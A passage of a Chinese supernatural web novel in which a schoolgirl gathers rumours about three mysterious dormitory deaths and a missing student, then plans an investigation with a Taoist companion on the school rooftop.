“我们现在高三了，明年就上大学了，虽然现在高中时代谈恋爱是大忌，但是等咱们上了大学就可以谈恋爱了，到时候你交往着这么一个富二代，如果顺利的话，走入结婚殿堂，那你可就是梁家的二少奶奶了！这可是阶级跨越式飞升啊！”郑玲玲眼前一亮，这条路她似乎越想越觉得可行，“沈聆，我感觉真的可以诶！你想啊，他特地跟老师说要当你的同桌，感觉你们之间多少是有点缘分的！不如……续一续这个缘分，而且你妹妹治疗也需要钱，如果傍上梁家这棵大树……”
忽然，郑玲玲意识到自己好像提到了沈聆的“伤口”，忙捂住了嘴巴，没有继续说下去。
她巴眨着眼睛看着沈聆，但沈聆表情十分平静，丝毫没有提及到重伤妹妹的伤心之情，只是微微一笑。
“算了吧，人家梁林可对我没兴趣，而且他们这么大的家族，最后肯定是家族联姻，找一个门当户对的富二代小姐结婚的，我们这些平民就不要痴心妄想了。”
闻言，林卓宁倒是自信十足地扬了扬自己的长发：“话可不能这么说，都说事在人为，说不定我们这样的平民也能拿下富二代呢。”
周围都是她淡淡的香水味，她的语气信誓旦旦，听起来大有想要一试的感觉。
沈聆倒是不把这些放在心上：“……对了，我还有一件事情想跟你们了解一下，你们知道我们学校有什么……奇怪的传闻吗？或者说，是一些恐怖的谣言也可以，最好和人鱼之类的东西有关系。”
三个女孩闻言，眨了眨眼睛，面面相觑。
“嗯……让我想想。”
郑玲玲抓了抓头发，似乎正在脑海中搜索某些关键字。
刘柠一拍脑袋：“对了，我们学校前几周出现了一件女寝猝死案，关于那个案子，很多人都谣言纷纷。”
“什么？女寝猝死案？”
一听说这个事情，沈聆皱起了眉头，感觉到事情并不简单。
“这件事情是在你请假的时候发生的，高二年段有三个女生被发现猝死在自己的寝室里，另外，四人寝室里的另一个女生失踪了，到现在仍旧下落不明……这件事情太诡异了，校方担心影响学校在社会上的形象，就压下去了，但还是有一些小道消息在我们学校的□□群里流传。”
郑玲玲压低的声音里透着神秘，她的语气中仿佛浸透着森森寒意，沈聆虽然站在阳光中，但听着也不由得浑身一冷。
“沈聆，我跟你说哦，听说那三个猝死的女孩子被发现的时候眼睛睁得老大，瞳孔充血，她们都扭曲着自己的身体，双手按着自己的脖子，看起来像是自己掐死了自己的样子，听说是半夜死掉的，舍管阿姨发现她们的时候，尸体都长满紫红色的尸斑了。”
115. 校园传闻
“在更早之前，我们学校的□□匿名群里面还有人发了现场拍到的图片，我当时还点开来看过呢。好家伙，那个寝室里跟进了贼一样，特别乱，三个女孩子就躺在地上，身体有的缩着，有的扭着，她们都摸着自己的脖子那块，好像有什么东西掐着她们的脖子，一双眼睛瞪得老大，鼻子和耳朵都流出了血，死不瞑目的！”刘柠说着，一双眼睛左右看了看，滴溜溜的，像是担心周围有什么脏东西听到她的话。
林卓宁点了点头：“不过那些帖子后面被删掉了，虽然是匿名的人发的，不过那些图片也全都‘已被清理’，现在已经看不到了。”
沈聆听着她们对死者死状的描述，也是一惊。
“那三个女孩子就这么猝死在自己的寝室里？”
“对呀。”郑玲玲故弄玄虚地说，“听那三个女孩子的同学说，她们前一天上课还好好的，甚至晚自习都好好的，但是回去寝室后不知道发生了什么，第二天也没有去上课，等班主任找到舍管一起到宿舍的时候，就是那种惨状了……可吓人了，她们的宿舍现在都已经封起来了。”
刘柠补充：“对对，她们的宿舍在4楼，404，这个门号一听就很不吉利！我跟你说啊，沈聆，我之前就听说我们学校是在乱葬岗的基础上建的，这个学校不干净！很多人在晚自习下课后经常看见一些‘不该看见’的东西，我怀疑是那些东西索命，可能那三个女孩子在晚自习下课后看到了什么或者是撞见了什么，所以被恶鬼索命，一下子要走了三条命！”
恶鬼索命？
一听到这个词，沈聆脑海中倒是本能地浮现出了那个被煞气环绕的小女孩。
她是能附身在秦琴身上、导致秦琴跳楼的，她吸收了许多尸体的阴魂，甚至有活人在祭拜她，以她的煞气和修为，如果要杀死另外三个青春期的小女孩似乎也不在话下。
——难道，真是她？
沈聆心中暗暗有了个揣测，但是没有实质性的证据，她也不好下定论。
“除了这些，还有什么线索吗？你们说……那个寝室的另一个女孩子下落不明，是失踪了吗？”
“对，她们寝室还有一个叫刘悦的女孩子，到现在都不知道在哪里。”刘柠回答道，“真是不吉利，居然和我一个姓氏……我听说，在这三个女孩子猝死的前三天，这个叫刘柠的女孩子就失踪了，当时老师见她一整天都没有来上课，就问了周围所有的学生和舍管，都没有看见她，联系了家长，但她的家长在外地打工，也没有收到任何和孩子有关的信息，刘悦就像是突然人间蒸发了一样，谁都找不到她，她的家长也到学校来闹过几次，但是都没有下落，报了警，警方也没有查到什么有用的线索，甚至调取了我们校内和校外的监控，也都没有看到刘玲的影子。”
“这件事情就这么不了了之？”
“那不然呢？左右都没有找到刘悦的下落，而且她那三个舍友后面猝死的案子更严重一点，大家也就没有把注意力放在刘悦失踪的事情上了……”林卓宁满不在意地说着，她低下头看了看自己的指甲，“沈聆，我跟你说啊，这件事邪门得很，他们高二年的人都不愿意提到这件事情，太邪门了，怕自己也招到什么奇怪的东西上身，就连404宿舍隔壁的405和403宿舍的人都请假了好几天才重新回来上学。”
沈聆点了点头：“嗯……这件事情的确听上去很奇怪……三个女孩子不明不白地死在自己的宿舍里，如果只是猝死，那么三个人在同一天晚上猝死，也太巧合了，另外，另一个舍友到现在还没有下落，就很奇怪……我感觉，那三个人的死，跟那个失踪的刘悦脱不开关系。”
“这就看警方的调查结果了。”郑玲玲耸了耸肩，“我们只是学生，警方哪里会跟我们说这么多啊，老师们也都跟我们说闲事少管，我们现在只要专心考好高考就好了，赶紧离开这个见鬼的地方，我总觉得这个地方阴森森的，虽然是学校，入夜后跟坟地差不多，经常有人看到类似阿飘的东西出现……大家晚自习之后也都赶紧回家了。”
听到这里，沈聆倒是来了兴趣。
“怎么说？你们是不是知道一些奇怪的传闻？或者说，一些鬼故事之类的？快跟我说说！”
郑玲玲压低了声音凑近沈聆：“关于我们学校的鬼故事那还少吗？听说十二点后，我们这栋教学楼的楼梯会变成13级，就是平白无故在12级台阶的基础上多了1级台阶，如果发现了第13级台阶，那千万不能走上去，听说走上去的话，就会掉入另一个世界里，再也出不来，说不定刘悦就是掉到另一个世界里了……”
刘柠也紧跟着说：“之前啊，有四个高中生在一楼的美术室里玩‘四人游戏’……你们知道那个游戏吗？就是四个人站在墙角，然后轮流拍肩膀的那个游戏，听说那个游戏是个招鬼的游戏，他们在论坛上看到了这个，出于好奇想试试看，没想到玩到后面，关着灯的美术室里还真出现了第五个人！他们当天就被吓到了，连滚带爬地跑回家，四个人都高烧了三天……这件事情当时可轰动了，美术室都被封了好长一段时间。”
林卓宁听着她们的话，也想起了一些自己听过的关于学校的鬼故事：“关于舞蹈室也有一些奇怪的事情……有天晚上一个艺术生在舞蹈室练习芭蕾，她是自己一个人去练舞的，但是到舞蹈室的时候发现舞蹈室里有一个女孩子已经在跳舞了，那个女孩子穿着白色的芭蕾舞服，跳得还不错。她本来以为是其他同学也在跳舞，就出声问了一句‘同学你好’，没想到对方转过脸来看她的时候，那张脸居然没有五官！”
四个女孩子全都是背后一凉。
林卓宁继续说下去：“不只是没有五官，上面长满了一圈一圈的牙齿，满脸是血……那个女孩子当场就尖叫了，整栋楼都听见她的尖叫，她连滚带爬地跑到办公室找老师，但是当老师们跟着她来到舞蹈室的时候，却什么都没有看到……对了，这件事情还是上周发生的，在学校论坛上传得可邪门了！那个舞蹈生第三天就转校了，说我们学校不干净。”
好家伙，陵川一中居然有这么多邪门的事情，这不问不知道，一问吓一跳啊。
沈聆一时间听得津津有味，就像是听讲故事的人在编故事一样。
郑玲玲话锋一转：“沈聆，你怎么突然对这些事情有兴趣了？我记得你一直都是埋头学习的那种好学生啊。”
“哎呀，这不是学习太紧张了嘛，想了解点新
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奇的东西。”沈聆乐呵呵地一笑。
“我看你还是别了解了，我们学校可邪门了，这个地方本来是乱葬岗的，阴气太重，没办法盖房子，只能盖学校，用学校的福祉冲一冲阴气，可不要说那些事情，就是平常，也经常有人在走廊上看到一些奇怪的白色的东西……我估计就是那些死在乱葬岗的人的魂魄。”刘柠笃定地说，“乱葬岗的磁场听说和其他的地方不一样的，那些魂魄被困在乱葬岗，就像被困在迷宫里，一时半会是出不去的，日久天长，就形成了冤魂、厉鬼。”
“是不是冤魂厉鬼的，调查一下或许就知道了。”沈聆轻声说道。
“调查？你不要命啊！你知不知道有的厉鬼会追魂索命的！我感觉404的那四个女孩子估计就是被……”
“那也不一定的，说不定有另外的隐情只是我们不知道罢了。”沈聆托着下巴思考着，“如果能唤出她们的魂魄出来，说不定可以从她们口中了解到一些关键信息。”
“唤魂？”郑玲玲有点儿难以置信地看着沈聆，“你要做什么？沈聆，你不会是要玩‘笔仙’那一套吧？你可别，我听说那东西邪门得很，如果没弄好，‘请神容易送神难’，不干净的东西是要缠上你的。”
“放心吧，我不玩‘笔仙’，我玩的东西，可比那个更刺激一点。”
沈聆说着，俏皮地眨了眨眼睛。
“叮铃铃——”
就在这时，上课铃响起了，同学们陆陆续续回到了自己的教室里。
沈聆也跟着回到了自己座位上，她心里盘算着今天回校的收获还真不少，从目前知道的信息来看，学校里或许还真有一些不太干净的东西，那些东西对别人来说或许“讳莫如深”，但对沈聆来说，未尝不是一个调查的突破口。
毕竟。
她可是阴厨。
那是专门给死人做饭的厨子呀。
在沈聆入座后，梁林在她旁边轻声说道：“你和她们的关系还挺不错的。”
他似乎注意到沈聆在走廊上和那三个女生说了很久的话，并且也不在乎沈聆知道自己的注意力在她身上。
“是啊，人总是要有自己的交际网，不然没有朋友的话，那得多孤僻啊。”沈聆看了一眼梁林，话里话外带着几分深意。
——梁林在班上好像没有朋友，在下课时间也不愿意跟别人说话，所有人跟他交谈的时候，他总是一副冷漠的表情和语气，拒人于千里之外。
“朋友？哼，要当我的朋友，他们还不够格。”梁林一声冷哼。
“怎么说？在座的可都是未来清华、北大、985的学生，这还不够资格？”
“在我看来，这个班级……不，这个学校，只有一个人有资格当我的朋友……”梁林微微眯起了眼睛，那双蛇一样的眼眸不带一丝温度，“那就是你，沈聆。”
“我？梁少爷，我身上可没有什么特殊的地方，一没有家世，二没有钱财。”
“但你身上也有他们没有的东西……”
梁林的这句话，别有深意，但他没有再继续说下去。
沈聆下意识地想起了自己身上的灵元草，她不安地稍稍侧过了身子，拉开了和梁林的距离。
116. 历史课
在宽敞明亮的教室里，阳光透过窗户洒在课桌上，同学们整齐地坐着，等待着新一节课的开始。
这节课历史课。
只见一位身材肥胖的历史老师迈着沉稳的步伐走进了教室，他那圆圆的脸上带着和蔼可亲的笑容，让人倍感亲切。
随着上课铃声响起，历史老师走到黑板前，拿起一支白色的粉笔，开始绘声绘色地讲述起民国时期中国的发展历史。
他的声音抑扬顿挫，仿佛将那段波澜壮阔的岁月带到了同学们面前。
当讲到民国时期的民族工业时，他激情澎湃地描述着那些先驱们如何在艰难困苦的环境下努力拼搏，试图振兴国家的经济；而提到外来侵略者所带来的时代压迫时，他又神情凝重，语气沉重，让同学们深刻感受到那个黑暗年代人民所遭受的苦难。
历史老师一边讲着，一边还不时地转过身来，用目光扫视全班同学，以确保每个人都能跟上他的节奏。
然而，此时坐在沈聆旁边的梁林却显得有些与众不同——他用手撑着脑袋、时不时打着哈欠，眼神游离不定，注意力似乎完全没有放在眼前这堂历史课上。
历史老师自然也注意到了梁林，他不悦的皱起眉头，点了点梁林：“那个同学……那个打哈欠的同学，坐在第四排的那个，对，就是你，你站起来说说看我们近代民族工业的发展的萌芽是在哪一个阶段？是怎么样的？”
梁林在全班同学的注视下站起身，他眨了眨眼睛，眼神带着几分无法聚焦的困惑，似乎对老师的问题并不理解。
见状，历史老师忙批评道：“现在我们已经是高三的学生了，留给我们的时间不到一个学期，同学们如果还是以这么懈怠消极的情绪上课，知识点漏了的话，到时候在考场上考到了，不要怪老师没有提醒你们……”
“从1843～1894年，外国在华一共设立了191个工业企业，他们利用劳动力廉价且数目众多的优势，建立起自己的产业链，随后的20年，清廷也意识到这么做的不妥之处，于是开始创建用机器生产的工业。从1861～1894年，清廷一共经营了21家军用工厂，所费资金从低估算在5000万两左右，如果老师您要问的是近代民族工业的发展萌芽，我认为这一阶段应该可以算是萌芽阶段。”
梁林用懒散地声音补充说道。
“从洋务运动开始，国门被打开的时候，我们就开始意识到自身和洋人的差距不是一星半点……外国有轮船、汽车、纺织机，甚至那个年代，西方都有‘泰坦尼克号’了，我们只有人力、马力拉车，甚至穿着长袍马褂，用着八股取士，一堆穷秀才挤在文庙里背四书五经……我记得那个时候，那些留着辫子、带着红帽子的人都在吵闹着本朝与洋人的差距太大了，于是，自上而下，清廷掀起了洋务运动，从朝廷到民间，开始主动学习洋人的先进技术，从那个时候开始，我国的近代民族工业就开始发展，尤其以北京、上海、南京这些地方率先发展起来。”
“但如果说民族经济真正起步的时候，我记得是在孙中山革命之后……是辛亥革命吧，那个时候满街都是举横幅、要革命的人，而民族工业家也开始在各地投资实体经济，虽然大部分是轻工业，但也算是民族工业的崛起，那时候大家开始寻找能救国救民的路径，我们也尝试过投资造船厂、纺织厂，但那些企业大部分技术含量比较低，侧重于人力劳作，而且同质化严重，大部分人都用手中的银子换了股份，通过持股的方式，试图分一杯羹。当然，其中也有佼佼者，江南制造总局、福州船政局、天津机器制造局和湖北枪炮厂这些都是我国近代工业的模范。”
“关于民族工业的起源，我知道的也就这些了，后续共产党的崛起、以及内战、抗日……民族经济在这段时间受到了重创，大部分企业家在那个时候都卷铺盖走人，他们将手中的银票换成了可以带走的黄金、珠宝等，有钱的就去了国外，没钱的就会乡下避难，当然了，这些留下的人，在后续也被认定是地主阶级，也被‘刮了一层皮’，那都是后话。”
梁林说着这些历史史实的时候，并不是用书上那些枯燥无味的句子，而是用着自己的话表述着那个年代所发生的事情，他说的角度和组织的语言内容通俗易懂，让人仿佛身临其境，就好像亲身经历过那些事情一样。
所有枯燥的历史内容刹那间变成了某个人曾经经历过的事情，那不是故事，那是回忆，正是这些许多人的回忆，一起构成了所谓的“历史”，这样的历史，才是有血有肉的。
历史老师虽然想用“语言不精练”、“知识点记忆有偏差”进行反驳，但梁林说的那些事情，确实也是历史的进展。
内心还是有点儿不服气，但谁让他踢到了铁板呢？
梁林的知识储备确实比同龄人更多一点，他简直不像是一个不到二十岁的高中生，而更像是七八十岁了的老学究在讲述过去发生的事情。
他想了想，还是让梁林先坐下了。
沈聆听着梁林的一篇长篇论述，不由得对眼前这个书生气的男同学感到几分好奇。
“……喂，你好像很厉害啊，在历史方面，你看了很多书吧？”
“不，我看的书并不多，我年轻的时候很忙，并没有太多时间看书。”梁林漫不经心地回答。
“那你怎么全都知道？跟你亲身经历一样。”
梁林嘴角扬起一个弧度，并没有回答沈聆的问题。
沈聆见梁林懒得回答，也就不再深究，但她现在感觉自己的这个同桌好像比自己想象中要更复杂一点，他几乎是全能型的学霸，无论是语文英语还是历史政治，就没有他不会的，哪怕是上课没怎么听，在模拟考中也能几乎满分。
——难道他真是天才？
沈聆暗想，自己如果有机会的话，一定要好好调查一下梁家二少爷的身份。
就在这时，沈聆放在抽屉里的手机震动了一下。
她一愣，将自己的历史书立了起来，挡在自己面前，并偷偷从抽屉里拿出手机，打开手机一看，发现
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是吴妄用沈聆给的旧手机发来的短信。
【转头，看窗外。】
“干啥呢？”
沈聆疑惑地转过头，猛然看到一个脑袋倒挂在窗外！
那是吴妄的脑袋！
“啊——”尖锐刺耳的尖叫声瞬间划破教室的宁静，她下意识地叫出了声。
这突如其来的叫声如同平静湖面上投入的巨石，激起千层浪，全班所有人的目光都如闪电般齐刷刷地射向了她。
那一刻，时间仿佛凝固，整个世界似乎只剩下那一道道聚焦于她身上的视线。
“额，我……”
她的心跳急速加快，慌乱之中刚想抬手指向那个脑袋所在的位置，却在目光触及之处只看到空空如也的窗框。
吴妄的脑袋不见了！
好家伙，他在捉弄她？！
沈聆瞬间明白过来，一阵愠怒涌上心头，恨不得现在就将吴妄吊起来打！
“沈聆同学，你有什么问题吗？”历史老师眉头紧皱，脸上满是疑惑和不满，严肃的目光直直地盯着沈聆。
沈聆的脸一下子涨得通红，像熟透的苹果一般。
她尴尬地挠了挠头，试图掩饰内心的慌乱，结结巴巴地解释道：“没……没事……我就是突然发现我忘了带黑笔了……”
说着，她缓缓放下一直立在课桌上充当掩护的历史书，仿佛这样就能让自己的窘迫不那么明显。
身旁的梁林便递过来一根黑笔，同时他的声音里带着几分难以掩饰的戏谑之情：“给，用我的。”
听到这话，沈聆先是一愣，随即低声说道：“多、多谢……”
说完，她像个鸵鸟一样，赶紧低下头去，不敢再与任何人对视，生怕被人看穿此刻内心的波澜起伏。
“好了同学们，我们继续上课……”历史老师将同学们的思绪重新拉回到课堂上。
今天的这堂课上的真不容易，稀奇古怪的学生还真是多。
历史老师这么想着，挠了挠头。
沈聆低下头，假装在抽屉里找书本，但拿出了手机，给吴妄发了个短信——
【臭道士！你想死啊！】
不到几秒钟，对方也回复过来了。
——【这不是看你上课太无聊了，给你增加点意外惊喜嘛。O(∩_∩)O】
道长发来的短信还加了个表情包，沈聆一看，更火大了。
【你来我学校做什么？】
——【我来看看你们学校的风水，分金定穴的那一套，我也是略知一二的，不是要找人鱼镜吗，多个思路也是好的。???(???)???】
【那你找到什么了吗？】
——【下课之后来天台吧，我跟你详细说说。(○’ω’○)】
【你先回家吧，你不是这个学校的人，万一被发现了怎么办？你要引起保安注意的，这里到处都是监控。】
——【才不会嘞，我可是青城山的高人，我的轻功那可是来无影去无踪的！???】
117. 天台
好不容易熬过了历史课后，沈聆第一个跑出了教室。
从走廊尽头的楼梯往上，便来到了七楼的天台。
但为了防止学生出现坠楼事故，七楼一般都是关着的，沈聆不知道吴妄是怎么到天台去的，她只是想着得赶紧让那个麻烦的家伙回去，至少，不能让监控拍到这么一个可疑人物在他们的天台上活动。
当她终于踏上那最后一级台阶时，天台白色的安全门依旧紧闭如初。
她深吸一口气，缓缓伸出手握住了安全门的门把手。
然而，令她始料未及的是，就在她刚拉住把手准备推开之时，安全门竟突然从另一边被猛地拉开！
“吱呀……”
毫无防备之下，沈聆被巨大的拉力带得向前扑去，眼看着就要重重地摔倒在安全门的另一侧。
“啊……”随着一声轻轻的惊叫，时间仿佛在这一刻凝固。
千钧一发之际，一双强有力的手臂稳稳地接住了她倾倒而下的身躯，在这仓促之间，她惊慌失措地抬起头，目光恰好与吴妄那双深邃如潭水般的眼眸相对。
只见吴妄身着一套蓝白相间的运动装，显得格外清爽利落，他将头发高高束起扎成一个马尾，额前几缕碎发随风飘动，更增添了几分不羁的气息，灿烂的阳光倾洒在他身上，勾勒出他修长挺拔的身形轮廓，原本他面容上惯有的冷漠神情，此刻也似乎因这温暖的阳光而稍稍融化了些许，变得柔和起来。
接住沈聆后，他嘴角微微上扬，露出一抹淡淡的笑容，轻声说道：“你怎么还是这么呆里呆气的？”
语气中虽略带调侃之意，但更多的却是一种难以言喻的温柔和关切。
“我……”沈聆不服气地鼓起脸颊，扶着吴妄的手站起了身，“你怎么到我学校来了。”
“我想着，人鱼镜不是一个容易找到的东西，这东西是传世珍宝，就算在风水学上，要藏住这面镜子，也是具有一定的风水秘术讲究，我想着来看看你们学校的情况，说不定能通过风水学发现点什么……”
就在这时，吴妄听见六楼走廊传来了几个学生吵吵闹闹的声音。
他一把拉过沈聆，并反手关上了天台的门。
在门后，传来了脚步声以及学生们对话的声音——
“奇怪，我刚才好像听到有人说话的声音？”
“你是不是听错了？天台的门一直都锁着的。”
“但是我刚才好像看到一个女孩子到这里来了来着……不会是鬼吧？我们学校最近可真不太平。”
“别说了别说了，都几个大老爷们，怕什么鬼，我们阳气那么重……走吧走吧。”
沈聆微微侧过脸，听着那几个学生的对话，看了一眼吴妄，吴妄摇了摇头，示意她不要出声。
“……”
点了点头，沈聆环视了一圈这个天台。
出乎她意料的是，这里竟然比她脑海中所设想的要更为宽阔一些。
放眼望去，只见几个长条形的通风口宛如沉睡的巨龙一般，静静地延伸至天台的尽头，而在十几米开外的地方，则矗立着几扇通往六楼的安全门，它们紧闭着，仿佛在守护着某个不为人知的秘密。
天台上铺满了深红色的地砖，这些地砖整齐地排列着，横向与纵向交错的排水沟犹如细密的蛛网，将整个天台划分成了一个个大小不一的区域，然而，由于长时间无人清扫和打理，那些排水沟里已然长满了厚厚的一层青色苔藓，这层苔藓如同绿色的绒毯，覆盖在排水沟之上，使得原本清晰可见的排水线路变得模糊不清。
身后的安全门里，那几个学生说话的声音已经远去，他们的脚步声也消失在楼梯间，听起来应该已经离去。
沈聆这才敢开口说话：“你是怎么打开这个门的？按道理，所有通往天台的门都应该是锁上的才对。”
“不知道，我来的时候就发现这门是没有锁着的。”吴妄耸了耸肩，“我御风而行，直接落在天台上的。”
“啥？你还会御风而行？”沈聆脑袋空白一下，一瞬间感觉自己似乎在武侠小说的世界里，那个词语让她感到十分陌生，她也只有在小说或者在游戏里才看到过。
“不难，这也是青城山的道术，用我的桃木剑就行了。”吴妄说着，朝着天台的边缘走去，“以后有机会的话，我带你飞一飞，站在云端之上，你会发现人类的视野真的很窄，站在更高的地方能看到之前看不到的东西，俯视众生，才会感觉到自己的渺小。”
沈聆跟着吴妄走向天台的边缘，她内心依旧在疑惑这道门为什么会没上锁，因为按道理，这里所有的门都已经被保安锁着了，因为担心有的学生在高中学习的时候压力过大出现跳楼的事件，也担心学生们因为打闹出现坠楼事件，因此一般是不允许学生们到天台来的。
难道这道门因为消防安全考虑什么时候没上锁了吗？没有告诉同学们是因为担心好奇的同学们都到天台来造成危险？
沈聆不明白，只是稍稍留意了一下这个细节。
“你这套衣服哪里来的？还挺合适你的。”沈聆的目光落在吴妄身上穿着的新衣服。
因为吴妄刚刚住过来，还没有来记得带他去买衣服，只是简单购置了一下他日常的生活起居用品，衣服这些东西还没有来得及买，就连睡衣都是沈聆爸爸的旧衣服，没想到今天他倒是自己解决了这个问题。
“这个？”吴妄低下头看了看自己的套装，“我刚才出门前先去找了一下林凌，他带我到警察局旁边的商场买的。”
“你还能找到他的位置？”
“这有什么难的，他那个工作狂，肯定泡在警察局里，我用手机查一下陵川市警察局的位置就可以了。”
“……你说，你穿着我爸的睡衣直接就大摇大摆地到警察局去了？”
“对啊，这有什么。”吴妄一脸无所谓的表情，“我是一个良好市民，应该有穿衣自由吧。”
“你这……”
沈聆扶额，大概能够想象出忙得焦头烂额的林凌一扭头看到穿着睡衣的吴妄站在自己办公室门口时该是怎么目瞪口呆的表情。
吴妄倒是轻
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轻一笑：“这笔钱就先当我欠他的，不用担心，等我再赚点降妖除魔的外快，我就有钱买手机、买衣服了。”
“手机倒是不着急，那手机是我爸爸以前用过的，也还有手机卡和手机号码，只是因为工作需要，他又办了一个上班专用的手机，这只手机倒是不常用了。现在给你用着也刚好，省得你再去办理一个号码……对了，我已经给你充了话费和流量，正常用着是没有问题的。”
“然后呢，今天你回到课堂，感觉怎么样？”
“什么怎么样？”
“你不是有了个新同桌？我刚才一看还是个小帅哥。”
吴妄走到天台旁边，他转过身，用手撑着栏杆，歪着头看着沈聆，眼神中带着几分深意。
“你是说……梁林？”
“我怎么知道他的名字，反正就是坐你旁边的那个小白脸。”
“他是上周转学到我们班的，但是说来也奇怪，我曾经在幻境里见过他……你敢相信吗？在此之前，我从来没有见过他，但是他就莫名其妙地出现在幻境里，现在又出现在我的生活里，简直像是一个闭合的环……我觉得，这太巧合了，简直让人觉得不像是巧合。”
沈聆沉默着，脑海中浮现出梁林的面容。
“我听他们说，他是梁氏家族的二公子，家里特别特别有钱，他们家名下有商场、房地产、制造业……但是不知道为什么突然转学过来，还特地要坐在我旁边。我总觉得这个人不简单，甚至我怀疑他是知道灵元草的事情的。”
他的冷静，他的淡漠，都不像是这个年龄段应该有的，甚至是他的知识储备……总给沈聆一种错觉——梁林完全可以不上学就可以考到985大学，为什么还要在这里浪费时间？
吴妄上下打量着沈聆，见沈聆不说话，他打了个响指，唤回了沈聆的思绪。
“啊？”
吴妄别开眼，不自然地说道：“行了行了，别老是想男人的，那小白脸不就是有钱一点罢了，我多搞些业务，早晚也能赚到那么多。”
沈聆一头雾水地看着吴妄，不知道他从何而来的好胜心。
“赚？你用什么赚？人家梁家可是过亿家产、商业巨头，你这小道士，你怎么跟人家的收入比？人家拿出一根毫毛就够我们这样的人家吃一辈子了。”
“那也是他老子、他爷爷有本事，跟他有什么关系？我跟你说，《孟子·离娄章句下》有言：君子之泽，五世而斩，你别看他现在这样，富不过三代的，早晚在他这种人身上败光。”
“你这是哪儿来的敌意啊？我寻思着人家梁林也没有怎么你吧？”沈聆更加莫名其妙。
吴妄吃瘪，他不自在地转过身、看向了远处。
“……没事，我就是感觉那个人不太对。你离他远点，不然到时候还要求我救你。”
依然嘴硬。
“你这人真是莫名其妙，我什么时候求你救我了？爱救不救！”
沈聆瞥了一眼吴妄，感觉这个人好像越来越莫名其妙了，有时候真的难以理解男人的脑回路。
118. 风水
也不知道为什么，道长似乎对梁林的意见颇大，但是两人明明甚至都没有见过面。
沈聆摇了摇头，她不太懂男人的脑回路，只是感觉眼前的事情似乎莫名其妙的，不只是事情，人也有点儿奇怪。
她感觉自己的世界里，幻境和现实像是正在交错着，她有点儿迷茫，似乎有点儿分不清幻境和现实的边界，梁林出现的时候，她一瞬间怀疑自己是不是仍旧在幻境里，这一切发生得太过诡异了，让她甚至觉得今天的时间好漫长。
“言归正传，道长，我今天在学校里了解了一下，发现在我请假的这段时间里，还真的发生了一件诡异的事情。”沈聆话锋一顿，表情严肃了几分，“我们学校，死人了。”
“怎么说？”吴妄皱起眉头看向了沈聆，此刻，他的眼眸也褪去了几分玩笑，浮上了一层肃穆。
“是前几周的事情，我们学校高二年段，有三个女孩子被发现猝死在自己的寝室里。”
“她们是同一间寝室吗？”
“对，她们都是住在404女寝里，听说，那天晚上下了晚自习后，她们还活蹦乱跳的，哪怕是回到宿舍后，隔壁的同学也没有发现什么异常，但到了第二天，那三个人就没有来上课了，也没有请假，在班主任找到舍管阿姨、并打开了404宿舍门之后，就发现她们三个死在了宿舍里。”
吴妄皱紧了眉头，他的视线看向了远处。
“那三个人，听说死状十分惨烈，睁大了眼睛，眼白都是红色的，她们都抓着自己的脖子，似乎是被人掐死的一样，宿舍很乱，她们倒在地上，身体呈现出扭曲的姿势，看起来死之前应该很痛苦才对。”
“法医的鉴定结果如何？”
“这个我们就不得而知了，毕竟我们只是学生，警方如果有调查结果，也只会通报给家长和校方。”
“会不会是有人下毒？毕竟是在同一个寝室里，或许……吃过同一个东西。”
“应该不会的。”沈聆摇了摇头，伸出手指向了不远处一栋矮小的建筑物，那是他们学校的食堂，“那是我们的食堂，在那三个女生出事之后，校方也曾经调查过食堂的餐饮情况以及这三个女孩子生前吃过什么，但是在那之后并没有封锁食堂或者是检测出有毒物质，其他同学也没有出现类似于中毒的情况，如果是吃下了有毒的东西，那我们食堂应该会被封起来才对。”
“会不会是外伤？比如刀、匕首之类的东西？”
“应该不会……我同学曾经看到论坛上晒出的现场照片，但她并没有看见现场照片上有血迹什么的，而且如果有血，应该也会调查凶器之类的东西才对……可目前为止都没有听到有关的调查情况，也没有搜查其他学生的宿舍，所以我觉得，应该不可能有存在外伤。”
不是中毒吗？
也不是外伤？
吴妄沉默着，脑海中一一考虑各种可能性。
如果不是中毒，那也没有外伤，是否真的是厉鬼作祟？
但就目前，他们掌握的信息实在是太少了，没办法了解404的情况，更不知道尸体上是否有一些可疑的痕迹，又或者，是一些被警方忽略的、但在玄学方面是很有讲究的“证据”。
“要是能看到尸检报告就好了。”
“这也不难，毕竟我们在警局也是有人脉的。”沈聆眨了眨眼睛。
“你是说林凌？”吴妄挠了挠头，“但是我白天去找他的时候，他忙的团团转，不确定他有没有时间管这件事情。”
“看看尸检报告说不定还是可以的。”沈聆在心里暗自盘算，她打算找个时间联系一下林凌，并跟他简单说一下当前的情况。
毕竟是在学校里出现了死亡事件，尸体还有三个，陵川市警察局一定解剖了那三个女孩子的尸体，如果能从林凌手上得到一些有用的线索，他们会事半功倍。
“我还打算拜托一下明夷调查一下现在网上关于这个事情的评论和线索，这件事情虽然暂时是被压下来了，但是总是有许多蛛丝马迹可以查到，说不定那些不经意之间的评论、匿名了的评论，就是这个事情的关键。”
沈聆已经做好了打算，她打算从404女寝案件下手，开始调查这个学校的诡异。
“另外，我听说在这三个女孩子死的前三天，她们宿舍的另外一个舍友，叫刘悦的，也失踪的，奇怪的是，家属也报警了，校方也配合警方一起调查了刘悦的行动轨迹，但是这个人就像是人间蒸发了一样，再也没有出现过，三天后，她的三个舍友也突然死在了宿舍里……这太诡异了，我感觉这不是偶然。”
“你们学校这么多监控摄像头，也没有拍到失踪的刘悦？”
“没有，所以才说奇怪的。”沈聆摇了摇头，“警方介入后，一定会调取学校所有的监控摄像头、包括学校外面沿街的监控画面，但都没有看到刘悦的行踪。至此，404的四个女孩子死的死、失踪的失踪，这间宿舍目前也被封起来了。”
“那就调查看看吧，我感觉你们学校还真是有点儿邪乎。”
吴妄喃喃地说着，目光投向了遥远的天际。
沈聆也循着他的视线望去，只见在那遥不可及的地方，有一大片乌黑如墨的云层宛如一座沉重的大山般，沉甸甸地压在了学校上方的天空之上。
仅仅数个小时之前，这里还沐浴在灿烂的阳光下，碧空如洗、晴空万里。然而此刻，那一片片乌压压的黑云却以肉眼可见的速度不断向学校逼近，仿佛一头凶猛的巨兽张开血盆大口要将整个校园吞噬殆尽。
随着黑云的靠近，原本清新宜人的空气也变得愈发沉闷压抑，好似被一只无形的大手紧紧捂住口鼻一般，令人几乎喘不过气来。
那种透不过气的感觉越来越强烈，仿佛有一股神秘而强大的力量在悄然施展着某种特殊的磁场效应，使得周围的一
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切都变得凝重而令人窒息。
沈聆眉头微皱，心中涌起一丝厌恶和不安。
